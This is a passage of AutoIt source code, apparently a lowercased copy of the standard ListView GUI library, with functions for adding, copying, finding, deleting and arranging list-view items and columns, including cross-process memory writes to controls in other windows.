- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $titem = DllStructCreate($taglvitem)
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[4096]")
- Else
- $tbuffer = DllStructCreate("char Text[4096]")
- EndIf
- DllStructSetData($titem, "Mask", $lvif_text)
- DllStructSetData($titem, "Text", DllStructGetPtr($tbuffer))
- DllStructSetData($titem, "TextMax", 4096)
- Local $ilastitem = _guictrllistview_getitemcount($hwnd)
- _guictrllistview_beginupdate($hwnd)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- For $ii = 0 To UBound($aitems) - 1
- DllStructSetData($titem, "Item", $ii)
- DllStructSetData($titem, "SubItem", 0)
- DllStructSetData($tbuffer, "Text", $aitems[$ii][0])
- _sendmessage($hwnd, $lvm_insertitemw, 0, $titem, 0, "wparam", "struct*")
- For $ij = 1 To UBound($aitems, 2) - 1
- DllStructSetData($titem, "SubItem", $ij)
- DllStructSetData($tbuffer, "Text", $aitems[$ii][$ij])
- _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*")
- Next
- Next
- Else
- Local $ibuffer = DllStructGetSize($tbuffer)
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- For $ii = 0 To UBound($aitems) - 1
- DllStructSetData($titem, "Item", $ii + $ilastitem)
- DllStructSetData($titem, "SubItem", 0)
- DllStructSetData($tbuffer, "Text", $aitems[$ii][0])
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- If $funicode Then
- _sendmessage($hwnd, $lvm_insertitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- _sendmessage($hwnd, $lvm_insertitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- For $ij = 1 To UBound($aitems, 2) - 1
- DllStructSetData($titem, "SubItem", $ij)
- DllStructSetData($tbuffer, "Text", $aitems[$ii][$ij])
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- If $funicode Then
- _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- Next
- Next
- _memfree($tmemmap)
- EndIf
- Else
- Local $pitem = DllStructGetPtr($titem)
- For $ii = 0 To UBound($aitems) - 1
- DllStructSetData($titem, "Item", $ii + $ilastitem)
- DllStructSetData($titem, "SubItem", 0)
- DllStructSetData($tbuffer, "Text", $aitems[$ii][0])
- If $funicode Then
- GUICtrlSendMsg($hwnd, $lvm_insertitemw, 0, $pitem)
- Else
- GUICtrlSendMsg($hwnd, $lvm_insertitema, 0, $pitem)
- EndIf
- For $ij = 1 To UBound($aitems, 2) - 1
- DllStructSetData($titem, "SubItem", $ij)
- DllStructSetData($tbuffer, "Text", $aitems[$ii][$ij])
- If $funicode Then
- GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem)
- Else
- GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem)
- EndIf
- Next
- Next
- EndIf
- _guictrllistview_endupdate($hwnd)
- EndFunc
- Func _guictrllistview_addcolumn($hwnd, $stext, $iwidth = 50, $ialign = -1, $iimage = -1, $fonright = False)
- Return _guictrllistview_insertcolumn($hwnd, _guictrllistview_getcolumncount($hwnd), $stext, $iwidth, $ialign, $iimage, $fonright)
- EndFunc
- Func _guictrllistview_additem($hwnd, $stext, $iimage = -1, $iparam = 0)
- Return _guictrllistview_insertitem($hwnd, $stext, -1, $iimage, $iparam)
- EndFunc
- Func _guictrllistview_addsubitem($hwnd, $iindex, $stext, $isubitem, $iimage = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $ibuffer = StringLen($stext) + 1
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $titem = DllStructCreate($taglvitem)
- Local $imask = $lvif_text
- If $iimage <> -1 Then $imask = BitOR($imask, $lvif_image)
- DllStructSetData($tbuffer, "Text", $stext)
- DllStructSetData($titem, "Mask", $imask)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "SubItem", $isubitem)
- DllStructSetData($titem, "Image", $iimage)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($titem, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Else
- Local $pitem = DllStructGetPtr($titem)
- DllStructSetData($titem, "Text", $pbuffer)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem)
- EndIf
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_approximateviewheight($hwnd, $icount = -1, $icx = -1, $icy = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return BitShift((_sendmessage($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))), 16)
- Else
- Return BitShift((GUICtrlSendMsg($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))), 16)
- EndIf
- EndFunc
- Func _guictrllistview_approximateviewrect($hwnd, $icount = -1, $icx = -1, $icy = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $iview
- If IsHWnd($hwnd) Then
- $iview = _sendmessage($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))
- Else
- $iview = GUICtrlSendMsg($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))
- EndIf
- Local $aview[2]
- $aview[0] = BitAND($iview, 65535)
- $aview[1] = BitShift($iview, 16)
- Return $aview
- EndFunc
- Func _guictrllistview_approximateviewwidth($hwnd, $icount = -1, $icx = -1, $icy = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return BitAND((_sendmessage($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))), 65535)
- Else
- Return BitAND((GUICtrlSendMsg($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))), 65535)
- EndIf
- EndFunc
- Func _guictrllistview_arrange($hwnd, $iarrange = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $aarrange[4] = [$lva_default, $lva_alignleft, $lva_aligntop, $lva_snaptogrid]
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_arrange, $aarrange[$iarrange]) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_arrange, $aarrange[$iarrange], 0) <> 0
- EndIf
- EndFunc
- Func __guictrllistview_arraydelete(ByRef $avarray, $ielement)
- If NOT IsArray($avarray) Then Return SetError(1, 0, "")
- Local $iupper = UBound($avarray)
- If $iupper = 1 Then
- SetError(2)
- Return ""
- EndIf
- Local $avnewarray[$iupper - 1][$illistviewsortinfosize]
- $avnewarray[0][0] = $avarray[0][0]
- If $ielement < 0 Then
- $ielement = 0
- EndIf
- If $ielement > ($iupper - 1) Then
- $ielement = ($iupper - 1)
- EndIf
- If $ielement > 0 Then
- For $icntr = 0 To $ielement - 1
- For $x = 1 To $illistviewsortinfosize - 1
- $avnewarray[$icntr][$x] = $avarray[$icntr][$x]
- Next
- Next
- EndIf
- If $ielement < ($iupper - 1) Then
- For $icntr = ($ielement + 1) To ($iupper - 1)
- For $x = 1 To $illistviewsortinfosize - 1
- $avnewarray[$icntr - 1][$x] = $avarray[$icntr][$x]
- Next
- Next
- EndIf
- $avarray = $avnewarray
- SetError(0)
- Return 1
- EndFunc
- Func _guictrllistview_beginupdate($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- Return _sendmessage($hwnd, $__listviewconstant_wm_setredraw) = 0
- EndFunc
- Func _guictrllistview_canceleditlabel($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- _sendmessage($hwnd, $lvm_canceleditlabel)
- Else
- GUICtrlSendMsg($hwnd, $lvm_canceleditlabel, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_clickitem($hwnd, $iindex, $sbutton = "left", $fmove = False, $iclicks = 1, $ispeed = 1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- _guictrllistview_ensurevisible($hwnd, $iindex, False)
- Local $trect = _guictrllistview_getitemrectex($hwnd, $iindex, $lvir_label)
- Local $tpoint = _winapi_pointfromrect($trect, True)
- $tpoint = _winapi_clienttoscreen($hwnd, $tpoint)
- Local $ix, $iy
- _winapi_getxyfrompoint($tpoint, $ix, $iy)
- Local $imode = Opt("MouseCoordMode", 1)
- If NOT $fmove Then
- Local $apos = MouseGetPos()
- _winapi_showcursor(False)
- MouseClick($sbutton, $ix, $iy, $iclicks, $ispeed)
- MouseMove($apos[0], $apos[1], 0)
- _winapi_showcursor(True)
- Else
- MouseClick($sbutton, $ix, $iy, $iclicks, $ispeed)
- EndIf
- Opt("MouseCoordMode", $imode)
- EndFunc
- Func _guictrllistview_copyitems($hwnd_source, $hwnd_destination, $fdelflag = False)
- If $debug_lv Then
- __udf_validateclassname($hwnd_source, $__listviewconstant_classname)
- __udf_validateclassname($hwnd_destination, $__listviewconstant_classname)
- EndIf
- Local $a_indices, $titem = DllStructCreate($taglvitem), $iindex
- Local $cols = _guictrllistview_getcolumncount($hwnd_source)
- Local $items = _guictrllistview_getitemcount($hwnd_source)
- _guictrllistview_beginupdate($hwnd_source)
- _guictrllistview_beginupdate($hwnd_destination)
- If BitAND(_guictrllistview_getextendedlistviewstyle($hwnd_source), $lvs_ex_checkboxes) == $lvs_ex_checkboxes Then
- For $i = 0 To $items - 1
- If (_guictrllistview_getitemchecked($hwnd_source, $i)) Then
- If IsArray($a_indices) Then
- ReDim $a_indices[UBound($a_indices) + 1]
- Else
- Local $a_indices[2]
- EndIf
- $a_indices[0] = $a_indices[0] + 1
- $a_indices[UBound($a_indices) - 1] = $i
- EndIf
- Next
- If (IsArray($a_indices)) Then
- For $i = 1 To $a_indices[0]
- DllStructSetData($titem, "Mask", BitOR($lvif_groupid, $lvif_image, $lvif_indent, $lvif_param, $lvif_state))
- DllStructSetData($titem, "Item", $a_indices[$i])
- DllStructSetData($titem, "SubItem", 0)
- DllStructSetData($titem, "StateMask", -1)
- _guictrllistview_getitemex($hwnd_source, $titem)
- $iindex = _guictrllistview_additem($hwnd_destination, _guictrllistview_getitemtext($hwnd_source, $a_indices[$i], 0), DllStructGetData($titem, "Image"))
- _guictrllistview_setitemchecked($hwnd_destination, $iindex)
- For $x = 1 To $cols - 1
- DllStructSetData($titem, "Item", $a_indices[$i])
- DllStructSetData($titem, "SubItem", $x)
- _guictrllistview_getitemex($hwnd_source, $titem)
- _guictrllistview_addsubitem($hwnd_destination, $iindex, _guictrllistview_getitemtext($hwnd_source, $a_indices[$i], $x), $x, DllStructGetData($titem, "Image"))
- Next
- Next
- If $fdelflag Then
- For $i = $a_indices[0] To 1 Step -1
- _guictrllistview_deleteitem($hwnd_source, $a_indices[$i])
- Next
- EndIf
- EndIf
- EndIf
- If (_guictrllistview_getselectedcount($hwnd_source)) Then
- $a_indices = _guictrllistview_getselectedindices($hwnd_source, 1)
- For $i = 1 To $a_indices[0]
- DllStructSetData($titem, "Mask", BitOR($lvif_groupid, $lvif_image, $lvif_indent, $lvif_param, $lvif_state))
- DllStructSetData($titem, "Item", $a_indices[$i])
- DllStructSetData($titem, "SubItem", 0)
- DllStructSetData($titem, "StateMask", -1)
- _guictrllistview_getitemex($hwnd_source, $titem)
- $iindex = _guictrllistview_additem($hwnd_destination, _guictrllistview_getitemtext($hwnd_source, $a_indices[$i], 0), DllStructGetData($titem, "Image"))
- For $x = 1 To $cols - 1
- DllStructSetData($titem, "Item", $a_indices[$i])
- DllStructSetData($titem, "SubItem", $x)
- _guictrllistview_getitemex($hwnd_source, $titem)
- _guictrllistview_addsubitem($hwnd_destination, $iindex, _guictrllistview_getitemtext($hwnd_source, $a_indices[$i], $x), $x, DllStructGetData($titem, "Image"))
- Next
- Next
- _guictrllistview_setitemselected($hwnd_source, -1, False)
- If $fdelflag Then
- For $i = $a_indices[0] To 1 Step -1
- _guictrllistview_deleteitem($hwnd_source, $a_indices[$i])
- Next
- EndIf
- EndIf
- _guictrllistview_endupdate($hwnd_source)
- _guictrllistview_endupdate($hwnd_destination)
- EndFunc
- Func _guictrllistview_create($hwnd, $sheadertext, $ix, $iy, $iwidth = 150, $iheight = 150, $istyle = 13, $iexstyle = 0, $fcoinit = False)
- If NOT IsHWnd($hwnd) Then Return SetError(1, 0, 0)
- If NOT IsString($sheadertext) Then Return SetError(2, 0, 0)
- If $iwidth = -1 Then $iwidth = 150
- If $iheight = -1 Then $iheight = 150
- If $istyle = -1 Then $istyle = $lvs_default
- If $iexstyle = -1 Then $iexstyle = 0
- Local Const $s_ok = 0
- Local Const $s_false = 1
- Local Const $rpc_e_changed_mode = -2147417850
- Local Const $e_invalidarg = -2147024809
- Local Const $e_outofmemory = -2147024882
- Local Const $e_unexpected = -2147418113
- Local $separatorchar = Opt("GUIDataSeparatorChar")
- Local Const $coinit_apartmentthreaded = 2
- Local $str_len = StringLen($sheadertext)
- If $str_len Then $sheadertext = StringSplit($sheadertext, $separatorchar)
- $istyle = BitOR($__udfguiconstant_ws_child, $__udfguiconstant_ws_visible, $istyle)
- If $fcoinit Then
- Local $aresult = DllCall("ole32.dll", "long", "CoInitializeEx", "ptr", 0, "dword", $coinit_apartmentthreaded)
- If @error Then Return SetError(@error, @extended, 0)
- Switch $aresult[0]
- Case $s_ok
- If $debug_lv Then __udf_debugprint("The COM library was initialized successfully on the calling thread.")
- Case $s_false
- If $debug_lv Then __udf_debugprint("The COM library is already initialized on the calling thread.")
- Case $rpc_e_changed_mode
- If $debug_lv Then __udf_debugprint("A previous call to CoInitializeEx specified a different concurrency model for the calling thread," & @LF & "-->or the thread that called CoInitializeEx currently belongs to the neutral threaded apartment.")
- Case $e_invalidarg
- If $debug_lv Then __udf_debugprint("Invalid Arg")
- Case $e_outofmemory
- If $debug_lv Then __udf_debugprint("Out of memory")
- Case $e_unexpected
- If $debug_lv Then __udf_debugprint("Unexpected error")
- EndSwitch
- EndIf
- Local $nctrlid = __udf_getnextglobalid($hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Local $hlist = _winapi_createwindowex($iexstyle, $__listviewconstant_classname, "", $istyle, $ix, $iy, $iwidth, $iheight, $hwnd, $nctrlid)
- _sendmessage($hlist, $__listviewconstant_wm_setfont, _winapi_getstockobject($__listviewconstant_default_gui_font), True)
- If $str_len Then
- For $x = 1 To $sheadertext[0]
- _guictrllistview_insertcolumn($hlist, $x - 1, $sheadertext[$x], 75)
- Next
- EndIf
- Return $hlist
- EndFunc
- Func _guictrllistview_createdragimage($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $adrag[3]
- Local $tpoint = DllStructCreate($tagpoint)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $adrag[0] = _sendmessage($hwnd, $lvm_createdragimage, $iindex, $tpoint, 0, "wparam", "struct*", "handle")
- Else
- Local $ipoint = DllStructGetSize($tpoint)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ipoint, $tmemmap)
- $adrag[0] = _sendmessage($hwnd, $lvm_createdragimage, $iindex, $pmemory, 0, "wparam", "ptr", "handle")
- _memread($tmemmap, $pmemory, $tpoint, $ipoint)
- _memfree($tmemmap)
- EndIf
- Else
- $adrag[0] = Ptr(GUICtrlSendMsg($hwnd, $lvm_createdragimage, $iindex, DllStructGetPtr($tpoint)))
- EndIf
- $adrag[1] = DllStructGetData($tpoint, "X")
- $adrag[2] = DllStructGetData($tpoint, "Y")
- Return $adrag
- EndFunc
- Func _guictrllistview_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- Return _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight)
- EndFunc
- Func _guictrllistview_deleteallitems($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If _guictrllistview_getitemcount($hwnd) == 0 Then Return True
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_deleteallitems) <> 0
- Else
- Local $ctrlid
- For $index = _guictrllistview_getitemcount($hwnd) - 1 To 0 Step -1
- $ctrlid = _guictrllistview_getitemparam($hwnd, $index)
- If $ctrlid Then GUICtrlDelete($ctrlid)
- Next
- If _guictrllistview_getitemcount($hwnd) == 0 Then Return True
- EndIf
- Return False
- EndFunc
- Func _guictrllistview_deletecolumn($hwnd, $icol)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_deletecolumn, $icol) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_deletecolumn, $icol, 0) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_deleteitem($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_deleteitem, $iindex) <> 0
- Else
- Local $ctrlid = _guictrllistview_getitemparam($hwnd, $iindex)
- If $ctrlid Then Return GUICtrlDelete($ctrlid) <> 0
- EndIf
- Return False
- EndFunc
- Func _guictrllistview_deleteitemsselected($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $itemcount = _guictrllistview_getitemcount($hwnd)
- If (_guictrllistview_getselectedcount($hwnd) == $itemcount) Then
- Return _guictrllistview_deleteallitems($hwnd)
- Else
- Local $items = _guictrllistview_getselectedindices($hwnd, 1)
- If NOT IsArray($items) Then Return SetError($lv_err, $lv_err, 0)
- _guictrllistview_setitemselected($hwnd, -1, False)
- For $i = $items[0] To 1 Step -1
- If NOT _guictrllistview_deleteitem($hwnd, $items[$i]) Then Return False
- Next
- Return True
- EndIf
- EndFunc
- Func _guictrllistview_destroy(ByRef $hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If NOT _winapi_isclassname($hwnd, $__listviewconstant_classname) Then Return SetError(2, 2, False)
- Local $destroyed = 0
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- Local $nctrlid = _winapi_getdlgctrlid($hwnd)
- Local $hparent = _winapi_getparent($hwnd)
- $destroyed = _winapi_destroywindow($hwnd)
- Local $iret = __udf_freeglobalid($hparent, $nctrlid)
- If NOT $iret Then
- EndIf
- Else
- Return SetError(1, 1, False)
- EndIf
- Else
- $destroyed = GUICtrlDelete($hwnd)
- EndIf
- If $destroyed Then $hwnd = 0
- Return $destroyed <> 0
- EndFunc
- Func __guictrllistview_draw($hwnd, $iindex, $hdc, $ix, $iy, $istyle = 0)
- Local $iflags = 0
- If BitAND($istyle, 1) <> 0 Then $iflags = BitOR($iflags, $__listviewconstant_ild_transparent)
- If BitAND($istyle, 2) <> 0 Then $iflags = BitOR($iflags, $__listviewconstant_ild_blend25)
- If BitAND($istyle, 4) <> 0 Then $iflags = BitOR($iflags, $__listviewconstant_ild_blend50)
- If BitAND($istyle, 8) <> 0 Then $iflags = BitOR($iflags, $__listviewconstant_ild_mask)
- Local $aresult = DllCall("ComCtl32.dll", "bool", "ImageList_Draw", "handle", $hwnd, "int", $iindex, "handle", $hdc, "int", $ix, "int", $iy, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _guictrllistview_drawdragimage(ByRef $hwnd, ByRef $adrag)
- Local $hdc = _winapi_getwindowdc($hwnd)
- Local $tpoint = _winapi_getmousepos(True, $hwnd)
- _winapi_invalidaterect($hwnd)
- __guictrllistview_draw($adrag[0], 0, $hdc, DllStructGetData($tpoint, "X"), DllStructGetData($tpoint, "Y"))
- _winapi_releasedc($hwnd, $hdc)
- EndFunc
- Func _guictrllistview_editlabel($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $aresult
- If IsHWnd($hwnd) Then
- $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- If $aresult = 0 Then Return 0
- If $funicode Then
- Return _sendmessage($hwnd, $lvm_editlabelw, $iindex, 0, 0, "wparam", "lparam", "hwnd")
- Else
- Return _sendmessage($hwnd, $lvm_editlabel, $iindex, 0, 0, "wparam", "lparam", "hwnd")
- EndIf
- Else
- $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", GUICtrlGetHandle($hwnd))
- If @error Then Return SetError(@error, @extended, 0)
- If $aresult = 0 Then Return 0
- If $funicode Then
- Return HWnd(GUICtrlSendMsg($hwnd, $lvm_editlabelw, $iindex, 0))
- Else
- Return HWnd(GUICtrlSendMsg($hwnd, $lvm_editlabel, $iindex, 0))
- EndIf
- EndIf
- EndFunc
- Func _guictrllistview_enablegroupview($hwnd, $fenable = True)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_enablegroupview, $fenable)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_enablegroupview, $fenable, 0)
- EndIf
- EndFunc
- Func _guictrllistview_endupdate($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- Return _sendmessage($hwnd, $__listviewconstant_wm_setredraw, 1) = 0
- EndFunc
- Func _guictrllistview_ensurevisible($hwnd, $iindex, $fpartialok = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_ensurevisible, $iindex, $fpartialok)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_ensurevisible, $iindex, $fpartialok)
- EndIf
- EndFunc
- Func _guictrllistview_findintext($hwnd, $stext, $istart = -1, $fwrapok = True, $freverse = False)
- Local $icount = _guictrllistview_getitemcount($hwnd)
- Local $icolumns = _guictrllistview_getcolumncount($hwnd)
- If $icolumns = 0 Then $icolumns = 1
- If $freverse AND $istart = -1 Then Return - 1
- Local $slist
- If $freverse Then
- For $ii = $istart - 1 To 0 Step -1
- For $ij = 0 To $icolumns - 1
- $slist = _guictrllistview_getitemtext($hwnd, $ii, $ij)
- If StringInStr($slist, $stext) Then Return $ii
- Next
- Next
- Else
- For $ii = $istart + 1 To $icount - 1
- For $ij = 0 To $icolumns - 1
- $slist = _guictrllistview_getitemtext($hwnd, $ii, $ij)
- If StringInStr($slist, $stext) Then Return $ii
- Next
- Next
- EndIf
- If (($istart = -1) OR NOT $fwrapok) AND NOT $freverse Then Return - 1
- If $freverse AND $fwrapok Then
- For $ii = $icount - 1 To $istart + 1 Step -1
- For $ij = 0 To $icolumns - 1
- $slist = _guictrllistview_getitemtext($hwnd, $ii, $ij)
- If StringInStr($slist, $stext) Then Return $ii
- Next
- Next
- Else
- For $ii = 0 To $istart - 1
- For $ij = 0 To $icolumns - 1
- $slist = _guictrllistview_getitemtext($hwnd, $ii, $ij)
- If StringInStr($slist, $stext) Then Return $ii
- Next
- Next
- EndIf
- Return - 1
- EndFunc
- Func _guictrllistview_finditem($hwnd, $istart, ByRef $tfindinfo, $stext = "")
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $ibuffer = StringLen($stext) + 1
- Local $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- Local $pbuffer = DllStructGetPtr($tbuffer)
- DllStructSetData($tbuffer, "Text", $stext)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($tfindinfo, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_finditem, $istart, $tfindinfo, 0, "wparam", "struct*")
- Else
- Local $ifindinfo = DllStructGetSize($tfindinfo)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ifindinfo + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $ifindinfo
- DllStructSetData($tfindinfo, "Text", $ptext)
- _memwrite($tmemmap, $tfindinfo, $pmemory, $ifindinfo)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- $iret = _sendmessage($hwnd, $lvm_finditem, $istart, $pmemory, 0, "wparam", "ptr")
- _memfree($tmemmap)
- EndIf
- Else
- DllStructSetData($tfindinfo, "Text", $pbuffer)
- $iret = GUICtrlSendMsg($hwnd, $lvm_finditem, $istart, DllStructGetPtr($tfindinfo))
- EndIf
- Return $iret
- EndFunc
- Func _guictrllistview_findnearest($hwnd, $ix, $iy, $idir = 0, $istart = -1, $fwrapok = True)
- Local $adir[8] = [$__listviewconstant_vk_left, $__listviewconstant_vk_right, $__listviewconstant_vk_up, $__listviewconstant_vk_down, $__listviewconstant_vk_home, $__listviewconstant_vk_end, $__listviewconstant_vk_prior, $__listviewconstant_vk_next]
- Local $tfindinfo = DllStructCreate($taglvfindinfo)
- Local $iflags = $lvfi_nearestxy
- If $fwrapok Then $iflags = BitOR($iflags, $lvfi_wrap)
- DllStructSetData($tfindinfo, "Flags", $iflags)
- DllStructSetData($tfindinfo, "X", $ix)
- DllStructSetData($tfindinfo, "Y", $iy)
- DllStructSetData($tfindinfo, "Direction", $adir[$idir])
- Return _guictrllistview_finditem($hwnd, $istart, $tfindinfo)
- EndFunc
- Func _guictrllistview_findparam($hwnd, $iparam, $istart = -1)
- Local $tfindinfo = DllStructCreate($taglvfindinfo)
- DllStructSetData($tfindinfo, "Flags", $lvfi_param)
- DllStructSetData($tfindinfo, "Param", $iparam)
- Return _guictrllistview_finditem($hwnd, $istart, $tfindinfo)
- EndFunc
- Func _guictrllistview_findtext($hwnd, $stext, $istart = -1, $fpartialok = True, $fwrapok = True)
- Local $tfindinfo = DllStructCreate($taglvfindinfo)
- Local $iflags = $lvfi_string
- If $fpartialok Then $iflags = BitOR($iflags, $lvfi_partial)
- If $fwrapok Then $iflags = BitOR($iflags, $lvfi_wrap)
- DllStructSetData($tfindinfo, "Flags", $iflags)
- Return _guictrllistview_finditem($hwnd, $istart, $tfindinfo, $stext)
- EndFunc
- Func _guictrllistview_getbkcolor($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $v_color
- If IsHWnd($hwnd) Then
- $v_color = _sendmessage($hwnd, $lvm_getbkcolor)
- Else
- $v_color = GUICtrlSendMsg($hwnd, $lvm_getbkcolor, 0, 0)
- EndIf
- Return __guictrllistview_reversecolororder($v_color)
- EndFunc
- Func _guictrllistview_getbkimage($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[4096]")
- Else
- $tbuffer = DllStructCreate("char Text[4096]")
- EndIf
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $timage = DllStructCreate($taglvbkimage)
- DllStructSetData($timage, "ImageMax", 4096)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($timage, "Image", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_getbkimagew, 0, $timage, 0, "wparam", "struct*")
- Else
- Local $ibuffer = DllStructGetSize($tbuffer)
- Local $iimage = DllStructGetSize($timage)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iimage + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $iimage
- DllStructSetData($timage, "Image", $ptext)
- _memwrite($tmemmap, $timage, $pmemory, $iimage)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_getbkimagew, 0, $pmemory, 0, "wparam", "ptr")
- Else
